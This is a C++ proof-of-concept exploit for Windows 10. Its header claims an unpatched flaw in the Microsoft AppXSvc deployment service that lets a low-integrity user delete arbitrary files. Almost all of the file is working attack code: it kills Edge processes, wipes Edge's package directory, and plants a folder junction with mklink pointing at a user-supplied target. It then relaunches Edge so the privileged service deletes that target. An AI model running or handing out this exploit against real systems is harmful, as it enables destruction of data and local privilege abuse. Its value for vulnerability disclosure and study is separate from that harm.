/* # Author : Abdelhamid Naceri # Discovered On : 13/08/2019 # Description : An Elevation Of Privileges Exist when the microsoft AppXSvc Deployment Service Cannot Properly Handle The Folder Junction lead to an arbitrary file deletion from a low integrity user . # Still Unpatched On 13/08/2019 Here Is A Demo Video https://youtu.be/jqYwMcNvTtM */ #include"windows.h" #include"iostream" #include"conio.h" #include"stdio.h" #include"tlhelp32.h" #include"cstdio" #include"wchar.h" #include"process.h" #include"wchar.h" #include"string" #include"tchar.h" #pragma warning(disable : 4996) #pragma comment(lib, "advapi32.lib") #ifndef UNICODE typedef std::string String; #else typedef std::wstring String; #endif using namespace std; bool FileExists(const wchar_t* file) { if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) && GetLastError() == ERROR_FILE_NOT_FOUND) { return false; } else { return true; } } void remove_dir(const wchar_t* folder) { std::wstring search_path = std::wstring(folder) + _T("/*.*"); std::wstring s_p = std::wstring(folder) + _T("/"); WIN32_FIND_DATA fd; HANDLE hFind = ::FindFirstFile(search_path.c_str(), &fd); if (hFind != INVALID_HANDLE_VALUE) { do { if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (wcscmp(fd.cFileName, _T(".")) != 0 && wcscmp(fd.cFileName, _T("..")) != 0) { remove_dir((wchar_t*)(s_p + fd.cFileName).c_str()); } } else { DeleteFile((s_p + fd.cFileName).c_str()); } } while (::FindNextFile(hFind, &fd)); ::FindClose(hFind); _wrmdir(folder); } } void killProcessByName(const wchar_t* filename) { HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); PROCESSENTRY32 pEntry; pEntry.dwSize = sizeof(pEntry); BOOL hRes = Process32First(hSnapShot, &pEntry); while (hRes) { if (wcscmp(pEntry.szExeFile, filename) == 0) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 9); CloseHandle(hProcess); } } hRes = Process32Next(hSnapShot, &pEntry); } CloseHandle(hSnapShot); } bool IsProcessRunning(const wchar_t* processName) { bool exists = false; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry)) while (Process32Next(snapshot, &entry)) if (!_wcsicmp(entry.szExeFile, processName)) exists = true; CloseHandle(snapshot); return exists; } bool dirExists(const std::string& dirName_in) { DWORD ftyp = GetFileAttributesA(dirName_in.c_str()); if (ftyp == INVALID_FILE_ATTRIBUTES) return false; if (ftyp & FILE_ATTRIBUTE_DIRECTORY) return true; return false; } void KillEdge() { killProcessByName(L"MicrosoftEdge.exe"); } void StartEdge() { try { system("start microsoft-edge:"); } catch (...){} } void exploit(const char* path) { //Inintializing the variable before begining int attempt = 0; string command; wchar_t* userprofile = _wgetenv(L"USERPROFILE"); const wchar_t* relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe"); //I created roaming path variable because sometime when i try to wipe ms-edge folder he deny the access so as a solution //I deleted him first const wchar_t* roamingpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\RoamingState"); wstring froamingpath(userprofile); froamingpath += wstring(roamingpath); wstring fullpath(userprofile); fullpath += std::wstring(relpath); wchar_t* szBuffsrc = (wchar_t*)fullpath.c_str(); wstring fpath(szBuffsrc); string strfpath(fpath.begin(), fpath.end()); //Check If MS-Edge Need To Write DACL Or Not if (dirExists(strfpath) != true) { printf("[!] Wait MS-Edge Need To Write The DACL"); StartEdge(); for (;;) { Sleep(1000); if (IsProcessRunning(L"MicrosoftEdge.exe") == true) { break; } } StartEdge(); Sleep(7000); KillEdge(); printf("\r "); } //End Of Check printf("\r# Author : Abdelhamid Naceri\n"); printf("# Tested On Windows 10 32&64bit\n"); printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n"); printf("[+] Checking If Path Exist ..."); Sleep(2000); if (dirExists(path) != true) { printf("Your Path Is Invalid"); ExitProcess(EXIT_FAILURE); } else { printf("Exist !\n"); KillEdge(); printf("[+] Starting MS-Edge ...\n"); StartEdge(); Sleep(4000); printf("[+] Killing MS-Edge ...\n"); KillEdge(); Sleep(3000); printf("[+] Wipping MS-Edge Directory ...\n"); killProcessByName(L"dllhost.exe");//I Kill This Process Because Somethime He Lock The Files remove_dir(roamingpath); remove_dir(szBuffsrc); Sleep(2000); remove_dir(szBuffsrc); printf("[+] Checking If Directory Exist Anymore ..."); if (dirExists(strfpath) == true) { if (dirExists(strfpath) == true) { printf("Something Went Wrong"); printf("\n[!] You Should Delete The Files YourSelf Press Anything To Continue"); command = "explorer "; command.append(strfpath); system(command.c_str()); _getch(); goto Continue; } } else { Continue: printf(" Done\n"); Sleep(3000); printf("[+] Attempting to Create Junction To Target ...\n"); command = "mklink /J "; command.append("\""); command.append(strfpath); command.append("\""); command.append(" "); command.append("\""); command.append(path); command.append("\""); system(command.c_str()); printf("Done\n"); Sleep(3000); printf("[+] Firing Up MS-Edge Again ...\n"); StartEdge(); do { Sleep(1000); } while (IsProcessRunning(L"MicrosoftEdge.exe")); Sleep(3000); StartEdge(); command = "explorer "; command.append(path); printf("[!] If The Exploit Done , MS AppXSvc Will Wipe The Target Path\n"); system(command.c_str()); printf("[!] We Will Open Explorer In The Target Check Your Files If The File Deleted Press Anything To Clear The Exploit Files...\n"); _getch(); printf("Cleaning ..."); _wremove(szBuffsrc); _wrmdir(szBuffsrc); ExitProcess(EXIT_SUCCESS); } } } int main(int argc, char* argv[]) { if (argc == 2) {exploit(argv[1]);} else { printf("# Author : Abdelhamid Naceri\n"); printf("# Tested On Windows 10 1903 32&64bit\n"); printf("# Description : A Vulnerabilitie Exist On Microsoft AppXSvc Deployement Service (\"wsappx\") Could Allow An Attacker To Arbitratry Delete Any File Exist On A Windows Machine\n"); printf("[!] Usage : poc.exe TargetPath"); } return EXIT_SUCCESS; }